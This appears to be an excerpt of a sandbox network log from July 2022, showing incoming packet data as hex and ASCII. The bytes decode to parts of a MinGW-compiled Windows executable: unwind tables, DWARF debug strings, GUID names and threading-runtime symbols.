2022-07-20 08:32:58 UTC	1992	IN	Data Raw: 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 0c 5e ea ff 0d 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 50 9f e4 ff 0d 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 d4 a0 e4 ff 03 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 d8 9c e4 ff 06 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 fc a3 e4 ff 10 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 00 9f e4 ff 0d Data Ascii: zR\|^zR\|PzR\|zR\|zR\|zR\|
2022-07-20 08:32:58 UTC	2008	IN	Data Raw: 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 d4 95 e9 ff 53 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 48 95 e9 ff 53 00 00 00 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 5c 96 e9 ff 4d 00 00 00 00 41 0e 08 83 02 45 0e 20 7f 0e 08 43 c3 0e 04 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 2c 00 00 00 24 00 00 00 2c cf ea ff 4d 00 00 00 04 0c 41 4b 00 41 0e 08 85 02 44 0d 05 42 86 03 83 04 70 0a c3 41 c6 41 c5 0c 04 04 43 0b 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b Data Ascii: zR\|SzR\|HSzR\|\MAE CzPLR\|PJ,$,MAKADBpAACzPLR\|PJ
2022-07-20 08:32:58 UTC	2009	IN	Data Raw: 83 05 02 66 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 76 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 40 00 00 00 24 00 00 00 b0 7d e9 ff d6 00 00 00 04 68 41 4b 00 41 0e 08 85 02 44 0d 05 43 87 03 86 04 83 05 02 66 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 76 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 40 00 00 00 24 00 00 00 fc 7f e9 ff e2 00 00 00 04 7c 41 4b 00 41 0e 08 85 02 42 0d 05 43 87 03 86 04 83 05 02 6d 0a c3 41 c6 41 c7 41 c5 0c 04 04 4a 0b 76 0a c3 41 c6 41 c7 41 c5 0c 04 04 43 0b 00 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 Data Ascii: fAAACvAAACzPLR\|PJ@$}hAKADCfAAACvAAACzPLR\|PJ@$\|AKABCmAAAJvAAACzPLR\|P
2022-07-20 08:32:58 UTC	2025	IN	Data Raw: 44 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 45 0e 30 68 0a 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 48 0b 62 0e 20 45 0e 30 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 bc 0e ea ff 1e 00 00 00 00 41 0e 08 83 02 45 0e 20 4c 0e 1c 45 0e 20 43 0e 08 41 c3 0e 04 00 00 1c 00 00 00 00 00 00 00 01 7a 50 4c 52 00 01 7c 08 07 00 50 c4 4a 00 00 1b 0c 04 04 88 01 00 00 48 00 00 00 24 00 00 00 74 0d ea ff 8b 00 00 00 04 c4 47 4b 00 41 0e 08 85 02 43 0e 0c 87 03 44 0e 10 86 04 41 0e 14 83 05 43 0e 40 02 44 0a 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 4c 0b 60 0e 3c 45 0e 40 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 30 00 00 00 1c 00 00 00 00 0b ea ff 70 Data Ascii: DAAE0hAAAAHb E0zR\|$AE LE CAzPLR\|PJH$tGKACDAC@DAAAAL`<E@zR\|0p
2022-07-20 08:32:58 UTC	2026	IN	Data Raw: e9 ff 12 03 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 40 02 d5 0a 0e 14 43 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 43 0b 02 f9 0e 30 43 0e 40 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 38 00 00 00 1c 00 00 00 cc 0a ea ff 6a 00 00 00 00 41 0e 08 87 02 41 0e 0c 86 03 41 0e 10 83 04 43 0e 20 7c 0e 10 43 0e 20 43 0a 0e 10 41 c3 0e 0c 41 c6 0e 08 41 c7 0e 04 43 0b 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 1c 00 00 00 1c 00 00 00 28 0a ea ff 2f 00 00 00 00 43 0e 20 63 0e 10 43 0e 20 43 0e 04 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 24 00 00 00 1c 00 00 00 30 28 ea ff 35 00 00 00 00 41 0e 08 83 02 45 0e 20 63 0e 10 45 Data Ascii: AAAAC@CAAAC0C@zR\|8jAAAC \|C CAAACzR\|(/C cC CzR\|$0(5AE cE
2022-07-20 08:32:58 UTC	2042	IN	Data Raw: 00 00 34 00 00 00 b4 c7 e4 ff 25 00 00 00 00 43 0e 20 5f 0e 04 00 14 00 00 00 4c 00 00 00 1c ca e4 ff 2c 00 00 00 00 43 0e 20 61 0e 04 00 14 00 00 00 64 00 00 00 64 cb e4 ff 25 00 00 00 00 43 0e 20 5f 0e 04 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 2c 00 00 00 1c 00 00 00 44 33 ea ff 42 00 00 00 00 41 0e 08 86 02 41 0e 0c 83 03 45 0e 30 6b 0e 2c 45 0e 30 48 0e 0c 41 c3 0e 08 41 c6 0e 04 00 40 00 00 00 4c 00 00 00 84 32 ea ff 47 00 00 00 00 41 0e 08 87 02 41 0e 0c 86 03 41 0e 10 83 04 45 0e 20 4f 0e 1c 45 0e 20 4c 0e 1c 45 0e 20 4c 0e 1c 45 0e 20 43 0e 10 41 c3 0e 0c 41 c6 0e 08 41 c7 0e 04 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 10 00 00 00 1c 00 00 00 08 6f e6 ff 0d 00 00 00 00 00 00 00 14 Data Ascii: 4%C _L,C add%C _zR\|,D3BAAE0k,E0HAA@L2GAAAE OE LE LE CAAAzR\|o
2022-07-20 08:32:58 UTC	2043	IN	Data Raw: 0e 08 41 c5 0e 04 43 0b 02 6f 0e 5c 45 0e 60 00 00 00 14 00 00 00 b4 01 00 00 e0 dd ea ff 6b 00 00 00 04 bc 4b 4b 00 00 00 00 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 00 00 58 00 00 00 1c 00 00 00 20 5d e7 ff e4 00 00 00 00 41 0e 08 87 02 41 0e 0c 86 03 41 0e 10 83 04 02 80 0a c3 0e 0c 41 c6 0e 08 41 c7 0e 04 4b 0b 5f 0a c3 0e 0c 41 c6 0e 08 41 c7 0e 04 41 0b 51 0a c3 0e 0c 41 c6 0e 08 41 c7 0e 04 41 0b 5b c3 0e 0c 41 c6 0e 08 41 c7 0e 04 00 00 3c 00 00 00 78 00 00 00 54 73 ea ff b9 00 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 18 02 a1 0a 0e 14 43 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 42 0b 00 14 00 00 00 b8 00 00 00 64 6b ea ff 2c 00 00 00 00 43 0e 14 68 0e 04 00 14 00 00 00 00 00 00 00 01 Data Ascii: ACo\E`kKKzR\|X ]AAAAAK_AAAQAAA[AA<xTsAAAACCAAABdk,Ch
2022-07-20 08:32:58 UTC	2059	IN	Data Raw: 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 41 0b 00 00 00 38 00 00 00 60 02 00 00 a0 f4 e1 ff 03 01 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 43 0e 10 86 04 41 0e 14 83 05 45 0e 50 02 f3 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 50 00 00 00 9c 02 00 00 74 f5 e1 ff 2a 01 00 00 00 41 0e 08 85 02 43 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 47 0e 50 03 0c 01 0a 0e 14 43 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 41 0b 43 0e 14 43 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 00 38 00 00 00 f0 02 00 00 50 f6 e1 ff 80 00 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 40 02 74 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 54 00 00 00 2c 03 00 00 94 f6 e1 ff 7a 06 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 43 0e 10 86 04 41 Data Ascii: AAAA8`AACAEPAAAAPt*ACAAGPCAAAACCAAA8PAAAAC@tAAAAT,zAACA
2022-07-20 08:32:58 UTC	2060	IN	Data Raw: 0e 30 83 05 85 02 86 04 87 03 10 00 00 00 24 00 00 00 58 a0 ea ff 05 00 00 00 00 00 00 00 1c 00 00 00 d8 00 00 00 24 03 e2 ff 78 00 00 00 00 43 0e 20 6f 0e 10 43 0e 20 70 0a 0e 04 4b 0b 14 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 0e 20 10 00 00 00 1c 00 00 00 11 a0 ea ff 05 00 00 00 00 00 00 00 64 00 00 00 24 01 00 00 58 03 e2 ff 66 02 00 00 00 41 0e 08 85 02 41 0e 0c 87 03 41 0e 10 86 04 41 0e 14 83 05 43 0e 40 58 0a 0e 14 41 c3 0e 10 41 c6 0e 0c 41 c7 0e 08 41 c5 0e 04 41 0b 60 0e 3c 43 0e 40 4b 0e 3c 43 0e 40 02 b7 0e 34 43 0e 40 02 41 0e 38 43 0e 40 02 d6 0e 3c 49 0e 40 5c 0e 38 43 0e 40 00 00 00 1c 00 00 00 00 00 00 00 01 7a 52 00 01 7c 08 01 1b 0c 04 04 88 01 0e 40 83 05 85 02 86 04 87 03 10 00 00 00 24 00 00 00 7a 9f ea ff 05 Data Ascii: 0$X$xC oC pKzR\| d$XfAAAAC@XAAAAA`<C@K<C@4C@A8C@<I@\8C@zR\|@$z
2022-07-20 08:32:58 UTC	2076	IN	Data Raw: 53 45 5f 53 49 4d 4f 44 45 5f 46 49 4f 50 00 2a 11 58 38 36 5f 54 55 4e 45 5f 55 53 45 5f 46 46 52 45 45 50 00 2b 11 58 38 36 5f 54 55 4e 45 5f 45 58 54 5f 38 30 33 38 37 5f 43 4f 4e 53 54 41 4e 54 53 00 2c 11 58 38 36 5f 54 55 4e 45 5f 47 45 4e 45 52 41 4c 5f 52 45 47 53 5f 53 53 45 5f 53 50 49 4c 4c 00 2d 11 58 38 36 5f 54 55 4e 45 5f 53 53 45 5f 55 4e 41 4c 49 47 4e 45 44 5f 4c 4f 41 44 5f 4f 50 54 49 4d 41 4c 00 2e 11 58 38 36 5f 54 55 4e 45 5f 53 53 45 5f 55 4e 41 4c 49 47 4e 45 44 5f 53 54 4f 52 45 5f 4f 50 54 49 4d 41 4c 00 2f 11 58 38 36 5f 54 55 4e 45 5f 53 53 45 5f 50 41 43 4b 45 44 5f 53 49 4e 47 4c 45 5f 49 4e 53 4e 5f 4f 50 54 49 4d 41 4c 00 30 11 58 38 36 5f 54 55 4e 45 5f 53 53 45 5f 54 59 50 45 4c 45 53 53 5f 53 54 4f 52 45 53 00 31 11 58 Data Ascii: SE_SIMODE_FIOP*X86_TUNE_USE_FFREEP+X86_TUNE_EXT_80387_CONSTANTS,X86_TUNE_GENERAL_REGS_SSE_SPILL-X86_TUNE_SSE_UNALIGNED_LOAD_OPTIMAL.X86_TUNE_SSE_UNALIGNED_STORE_OPTIMAL/X86_TUNE_SSE_PACKED_SINGLE_INSN_OPTIMAL0X86_TUNE_SSE_TYPELESS_STORES1X
2022-07-20 08:32:58 UTC	2077	IN	Data Raw: 4c 5f 52 45 47 5f 53 54 41 4c 4c 00 4b 11 58 38 36 5f 54 55 4e 45 5f 50 52 4f 4d 4f 54 45 5f 51 49 4d 4f 44 45 00 4c 11 58 38 36 5f 54 55 4e 45 5f 50 52 4f 4d 4f 54 45 5f 48 49 5f 52 45 47 53 00 4d 11 58 38 36 5f 54 55 4e 45 5f 48 49 4d 4f 44 45 5f 4d 41 54 48 00 4e 11 58 38 36 5f 54 55 4e 45 5f 53 50 4c 49 54 5f 4c 4f 4e 47 5f 4d 4f 56 45 53 00 4f 11 58 38 36 5f 54 55 4e 45 5f 55 53 45 5f 58 43 48 47 42 00 50 11 58 38 36 5f 54 55 4e 45 5f 55 53 45 5f 4d 4f 56 30 00 51 11 58 38 36 5f 54 55 4e 45 5f 4e 4f 54 5f 56 45 43 54 4f 52 4d 4f 44 45 00 52 11 58 38 36 5f 54 55 4e 45 5f 41 56 4f 49 44 5f 56 45 43 54 4f 52 5f 44 45 43 4f 44 45 00 53 11 58 38 36 5f 54 55 4e 45 5f 42 52 41 4e 43 48 5f 50 52 45 44 49 43 54 49 4f 4e 5f 48 49 4e 54 53 00 54 11 58 38 36 5f Data Ascii: L_REG_STALLKX86_TUNE_PROMOTE_QIMODELX86_TUNE_PROMOTE_HI_REGSMX86_TUNE_HIMODE_MATHNX86_TUNE_SPLIT_LONG_MOVESOX86_TUNE_USE_XCHGBPX86_TUNE_USE_MOV0QX86_TUNE_NOT_VECTORMODERX86_TUNE_AVOID_VECTOR_DECODESX86_TUNE_BRANCH_PREDICTION_HINTSTX86_
2022-07-20 08:32:58 UTC	2093	IN	Data Raw: 08 95 01 11 04 06 00 00 11 5f 47 55 49 44 00 10 09 13 10 f5 07 00 00 12 44 61 74 61 31 00 09 14 15 9e 04 00 00 00 12 44 61 74 61 32 00 09 15 12 49 01 00 00 04 12 44 61 74 61 33 00 09 16 12 49 01 00 00 06 12 44 61 74 61 34 00 09 17 11 f5 07 00 00 08 00 0d f2 04 00 00 05 08 00 00 0e 22 01 00 00 07 00 03 47 55 49 44 00 09 18 03 a9 07 00 00 04 05 08 00 00 03 49 49 44 00 09 53 0e 05 08 00 00 04 17 08 00 00 03 43 4c 53 49 44 00 09 5b 0e 05 08 00 00 04 28 08 00 00 03 46 4d 54 49 44 00 09 62 0e 05 08 00 00 04 3b 08 00 00 17 47 55 49 44 5f 4d 41 58 5f 50 4f 57 45 52 5f 53 41 56 49 4e 47 53 00 08 a9 13 05 12 08 00 00 17 47 55 49 44 5f 4d 49 4e 5f 50 4f 57 45 52 5f 53 41 56 49 4e 47 53 00 08 aa 13 05 12 08 00 00 17 47 55 49 44 5f 54 59 50 49 43 41 4c 5f 50 4f 57 45 Data Ascii: _GUIDData1Data2IData3IData4"GUIDIIDSCLSID[(FMTIDb;GUID_MAX_POWER_SAVINGSGUID_MIN_POWER_SAVINGSGUID_TYPICAL_POWE
2022-07-20 08:32:58 UTC	2094	IN	Data Raw: 12 08 00 00 17 47 55 49 44 5f 43 4f 4e 53 4f 4c 45 5f 44 49 53 50 4c 41 59 5f 53 54 41 54 45 00 08 bf 13 05 12 08 00 00 17 47 55 49 44 5f 41 4c 4c 4f 57 5f 44 49 53 50 4c 41 59 5f 52 45 51 55 49 52 45 44 00 08 c0 13 05 12 08 00 00 17 47 55 49 44 5f 56 49 44 45 4f 5f 43 4f 4e 53 4f 4c 45 5f 4c 4f 43 4b 5f 54 49 4d 45 4f 55 54 00 08 c1 13 05 12 08 00 00 17 47 55 49 44 5f 41 44 41 50 54 49 56 45 5f 50 4f 57 45 52 5f 42 45 48 41 56 49 4f 52 5f 53 55 42 47 52 4f 55 50 00 08 c2 13 05 12 08 00 00 17 47 55 49 44 5f 4e 4f 4e 5f 41 44 41 50 54 49 56 45 5f 49 4e 50 55 54 5f 54 49 4d 45 4f 55 54 00 08 c3 13 05 12 08 00 00 17 47 55 49 44 5f 44 49 53 4b 5f 53 55 42 47 52 4f 55 50 00 08 c4 13 05 12 08 00 00 17 47 55 49 44 5f 44 49 53 4b 5f 50 4f 57 45 52 44 4f 57 4e 5f Data Ascii: GUID_CONSOLE_DISPLAY_STATEGUID_ALLOW_DISPLAY_REQUIREDGUID_VIDEO_CONSOLE_LOCK_TIMEOUTGUID_ADAPTIVE_POWER_BEHAVIOR_SUBGROUPGUID_NON_ADAPTIVE_INPUT_TIMEOUTGUID_DISK_SUBGROUPGUID_DISK_POWERDOWN_
2022-07-20 08:32:58 UTC	2110	IN	Data Raw: 1e 9f 53 00 00 12 0e 00 00 10 0e 00 00 00 1f 91 0a 42 00 09 54 00 00 20 02 74 04 01 31 20 02 74 08 01 30 00 00 1b 5f 5f 67 74 68 72 5f 77 69 6e 33 32 5f 72 65 63 75 72 73 69 76 65 5f 6d 75 74 65 78 5f 74 72 79 6c 6f 63 6b 00 01 e7 01 32 01 00 00 f0 09 42 00 45 00 00 00 01 9c 7d 4c 00 00 1c b6 00 00 00 01 e7 44 39 4b 00 00 02 91 00 21 6d 65 00 01 e9 09 06 06 00 00 29 0e 00 00 25 0e 00 00 22 0d 53 00 00 02 0a 42 00 01 b0 00 00 00 01 ea 07 73 4c 00 00 1e 55 53 00 00 49 0e 00 00 47 0e 00 00 1e 45 53 00 00 60 0e 00 00 5e 0e 00 00 1e 35 53 00 00 76 0e 00 00 74 0e 00 00 23 b0 00 00 00 24 6a 53 00 00 8b 0e 00 00 89 0e 00 00 00 00 1a fe 09 42 00 32 54 00 00 00 1b 5f 5f 67 74 68 72 5f 77 69 6e 33 32 5f 72 65 63 75 72 73 69 76 65 5f 6d 75 74 65 78 5f 6c 6f 63 6b 00 Data Ascii: SBT t1 t0__gthr_win32_recursive_mutex_trylock2BE}LD9K!me)%"SBsLUSIGES`^5Svt#$jSB2T__gthr_win32_recursive_mutex_lock
2022-07-20 08:32:58 UTC	2111	IN	Data Raw: 72 6f 79 00 01 9a 01 50 08 42 00 1a 00 00 00 01 9c cf 4f 00 00 1c b6 00 00 00 01 9a 30 51 4e 00 00 02 91 00 1a 63 08 42 00 eb 53 00 00 00 25 5f 5f 67 74 68 72 5f 77 69 6e 33 32 5f 6d 75 74 65 78 5f 69 6e 69 74 5f 66 75 6e 63 74 69 6f 6e 00 01 93 01 10 08 42 00 3e 00 00 00 01 9c 36 50 00 00 1c b6 00 00 00 01 93 36 51 4e 00 00 02 91 00 1f 43 08 42 00 8c 54 00 00 20 02 74 00 01 30 20 02 74 04 01 30 20 02 74 08 03 0a ff ff 20 02 74 0c 01 30 00 00 1b 5f 5f 67 74 68 72 5f 77 69 6e 33 32 5f 73 65 74 73 70 65 63 69 66 69 63 00 01 8a 01 32 01 00 00 e0 07 42 00 2e 00 00 00 01 9c d2 50 00 00 28 6b 65 79 00 01 8a 2b bb 49 00 00 02 91 00 28 70 74 72 00 01 8a 3c 23 06 00 00 02 91 04 23 78 00 00 00 29 04 01 8c 19 a9 50 00 00 2a 5f 71 00 01 8c 19 23 06 00 00 2a 5f 6e 71 Data Ascii: royPBO0QNcBS%__gthr_win32_mutex_init_functionB>6P6QNCBT t0 t0 t t0__gthr_win32_setspecific2B.P(key+I(ptr<##x)P_q#_nq
2022-07-20 08:32:58 UTC	2127	IN	Data Raw: 55 0e 47 01 00 00 05 5f 5f 69 6e 69 74 69 61 6c 6c 6f 63 69 6e 66 6f 00 18 56 28 d0 01 00 00 05 5f 5f 69 6e 69 74 69 61 6c 6c 6f 63 61 6c 65 73 74 72 75 63 74 69 6e 66 6f 00 18 57 1a e1 03 00 00 22 01 06 73 69 67 6e 65 64 20 63 68 61 72 00 09 04 1e 05 00 00 0f 55 4c 4f 4e 47 5f 50 54 52 00 19 37 19 ca 04 00 00 09 04 ca 04 00 00 20 50 56 4f 49 44 00 16 01 01 11 3e 09 00 00 2b 5f 47 55 49 44 00 10 1a 13 10 ea 3a 00 00 08 44 61 74 61 31 00 1a 14 15 ca 04 00 00 00 08 44 61 74 61 32 00 1a 15 12 75 01 00 00 04 08 44 61 74 61 33 00 1a 16 12 75 01 00 00 06 08 44 61 74 61 34 00 1a 17 11 ea 3a 00 00 08 00 11 1e 05 00 00 fa 3a 00 00 16 37 01 00 00 07 00 0f 47 55 49 44 00 1a 18 03 9e 3a 00 00 12 fa 3a 00 00 0f 49 49 44 00 1a 53 0e fa 3a 00 00 12 0c 3b 00 00 0f 43 4c Data Ascii: UG__initiallocinfoV(__initiallocalestructinfoW"signed charULONG_PTR7 PVOID>+_GUID:Data1Data2uData3uData4::7GUID::IIDS:;CL
2022-07-20 08:32:58 UTC	2128	IN	Data Raw: 00 00 02 47 55 49 44 5f 49 44 4c 45 5f 52 45 53 49 4c 49 45 4e 43 59 5f 53 55 42 47 52 4f 55 50 00 16 b0 13 05 07 3b 00 00 02 47 55 49 44 5f 49 44 4c 45 5f 52 45 53 49 4c 49 45 4e 43 59 5f 50 45 52 49 4f 44 00 16 b1 13 05 07 3b 00 00 02 47 55 49 44 5f 44 49 53 4b 5f 43 4f 41 4c 45 53 43 49 4e 47 5f 50 4f 57 45 52 44 4f 57 4e 5f 54 49 4d 45 4f 55 54 00 16 b2 13 05 07 3b 00 00 02 47 55 49 44 5f 45 58 45 43 55 54 49 4f 4e 5f 52 45 51 55 49 52 45 44 5f 52 45 51 55 45 53 54 5f 54 49 4d 45 4f 55 54 00 16 b3 13 05 07 3b 00 00 02 47 55 49 44 5f 56 49 44 45 4f 5f 53 55 42 47 52 4f 55 50 00 16 b4 13 05 07 3b 00 00 02 47 55 49 44 5f 56 49 44 45 4f 5f 50 4f 57 45 52 44 4f 57 4e 5f 54 49 4d 45 4f 55 54 00 16 b5 13 05 07 3b 00 00 02 47 55 49 44 5f 56 49 44 45 4f 5f 41 Data Ascii: GUID_IDLE_RESILIENCY_SUBGROUP;GUID_IDLE_RESILIENCY_PERIOD;GUID_DISK_COALESCING_POWERDOWN_TIMEOUT;GUID_EXECUTION_REQUIRED_REQUEST_TIMEOUT;GUID_VIDEO_SUBGROUP;GUID_VIDEO_POWERDOWN_TIMEOUT;GUID_VIDEO_A
2022-07-20 08:32:58 UTC	2144	IN	Data Raw: 43 48 41 4e 47 45 52 00 2a 12 01 07 3b 00 00 05 47 55 49 44 5f 44 45 56 49 4e 54 45 52 46 41 43 45 5f 46 4c 4f 50 50 59 00 2a 13 01 07 3b 00 00 05 47 55 49 44 5f 44 45 56 49 4e 54 45 52 46 41 43 45 5f 43 44 43 48 41 4e 47 45 52 00 2a 14 01 07 3b 00 00 05 47 55 49 44 5f 44 45 56 49 4e 54 45 52 46 41 43 45 5f 53 54 4f 52 41 47 45 50 4f 52 54 00 2a 15 01 07 3b 00 00 05 47 55 49 44 5f 44 45 56 49 4e 54 45 52 46 41 43 45 5f 43 4f 4d 50 4f 52 54 00 2a 16 01 07 3b 00 00 05 47 55 49 44 5f 44 45 56 49 4e 54 45 52 46 41 43 45 5f 53 45 52 45 4e 55 4d 5f 42 55 53 5f 45 4e 55 4d 45 52 41 54 4f 52 00 2a 17 01 07 3b 00 00 2b 5f 53 43 41 52 44 5f 49 4f 5f 52 45 51 55 45 53 54 00 08 2b a1 12 33 7f 00 00 08 64 77 50 72 6f 74 6f 63 6f 6c 00 2b a2 0b 3c 39 00 00 00 08 63 62 Data Ascii: CHANGER;GUID_DEVINTERFACE_FLOPPY;GUID_DEVINTERFACE_CDCHANGER;GUID_DEVINTERFACE_STORAGEPORT;GUID_DEVINTERFACE_COMPORT;GUID_DEVINTERFACE_SERENUM_BUS_ENUMERATOR;+_SCARD_IO_REQUEST+3dwProtocol+<9cb
2022-07-20 08:32:58 UTC	2145	IN	Data Raw: 77 69 6e 64 5f 43 6f 6e 74 65 78 74 5f 52 65 67 5f 56 61 6c 00 02 6a 0f 3e 09 00 00 11 1d 82 00 00 4d 82 00 00 16 37 01 00 00 11 00 11 1b 01 00 00 5d 82 00 00 16 37 01 00 00 11 00 11 1e 05 00 00 6d 82 00 00 16 37 01 00 00 11 00 44 64 77 61 72 66 5f 72 65 67 5f 73 69 7a 65 5f 74 61 62 6c 65 00 02 96 16 5d 82 00 00 05 03 f4 73 60 00 53 e5 00 00 00 08 02 9b 07 ea 82 00 00 1d 70 00 02 9d 09 3e 09 00 00 1d 75 32 00 02 9e 0c 75 01 00 00 1d 75 34 00 02 9f 0c 37 01 00 00 1d 75 38 00 02 a0 0c f9 30 00 00 1d 73 32 00 02 a1 0a c7 08 00 00 1d 73 34 00 02 a2 0a 47 01 00 00 1d 73 38 00 02 a3 0a a1 01 00 00 00 12 90 82 00 00 34 66 72 61 6d 65 5f 73 74 61 74 65 00 70 02 1e 05 10 89 83 00 00 07 63 66 61 00 02 20 05 09 3e 09 00 00 00 07 65 68 5f 70 74 72 00 02 21 05 09 3e Data Ascii: wind_Context_Reg_Valj>M7]7m7Ddwarf_reg_size_table]s`Sp>u2uu47u80s2s4Gs84frame_statepcfa >eh_ptr!>
2022-07-20 08:32:58 UTC	2161	IN	Data Raw: 5f 55 6e 77 69 6e 64 5f 53 65 74 47 52 56 61 6c 75 65 00 02 46 01 01 03 65 c2 00 00 17 36 01 00 00 02 46 01 2d 22 33 00 00 17 00 01 00 00 02 46 01 3a 47 01 00 00 24 76 61 6c 00 02 47 01 14 7d 30 00 00 00 48 5f 55 6e 77 69 6e 64 5f 53 65 74 47 52 50 74 72 00 02 3b 01 01 03 a6 c2 00 00 17 36 01 00 00 02 3b 01 2b 22 33 00 00 17 00 01 00 00 02 3b 01 38 47 01 00 00 24 70 00 02 3b 01 45 3e 09 00 00 00 33 5f 55 6e 77 69 6e 64 5f 47 65 74 47 52 50 74 72 00 02 30 01 01 3e 09 00 00 03 e0 c2 00 00 17 36 01 00 00 02 30 01 2b 22 33 00 00 17 00 01 00 00 02 30 01 38 47 01 00 00 00 79 5f 55 6e 77 69 6e 64 5f 53 65 74 47 52 00 02 13 01 01 38 0a 00 00 01 9c b9 c3 00 00 3b 36 01 00 00 02 13 01 28 22 33 00 00 02 91 00 37 00 01 00 00 02 13 01 35 47 01 00 00 af 76 00 00 a3 76 Data Ascii: _Unwind_SetGRValueFe6F-"3F:G$valG}0H_Unwind_SetGRPtr;6;+"3;8G$p;E>3_Unwind_GetGRPtr0>60+"308Gy_Unwind_SetGR8;6("375Gvv
2022-07-20 08:32:58 UTC	2162	IN	Data Raw: 5f 31 73 00 02 b1 01 47 01 00 00 03 3c c6 00 00 18 70 00 02 b1 16 0d 09 00 00 00 1b 72 65 61 64 5f 31 75 00 02 ae 01 47 01 00 00 03 5c c6 00 00 18 70 00 02 ae 16 0d 09 00 00 00 1b 72 65 61 64 5f 70 6f 69 6e 74 65 72 00 02 ab 01 3e 09 00 00 03 8c c6 00 00 18 70 00 02 ab 1b 0d 09 00 00 19 75 70 00 02 ab 37 3f c5 00 00 00 1b 5f 55 6e 77 69 6e 64 5f 47 65 74 5f 55 6e 77 69 6e 64 5f 43 6f 6e 74 65 78 74 5f 52 65 67 5f 56 61 6c 00 02 73 01 1d 82 00 00 03 c9 c6 00 00 18 76 61 6c 00 02 73 32 7d 30 00 00 00 1b 5f 55 6e 77 69 6e 64 5f 47 65 74 5f 55 6e 77 69 6e 64 5f 57 6f 72 64 00 02 6d 01 7d 30 00 00 03 fb c6 00 00 18 76 61 6c 00 02 6d 32 1d 82 00 00 00 33 5f 5f 67 74 68 72 65 61 64 5f 6f 6e 63 65 00 05 29 02 01 47 01 00 00 03 39 c7 00 00 24 5f 5f 6f 6e 63 65 00 Data Ascii: _1sG<pread_1uG\pread_pointer>pup7?_Unwind_Get_Unwind_Context_Reg_Valsvals2}0_Unwind_Get_Unwind_Wordm}0valm23__gthread_once)G9$__once
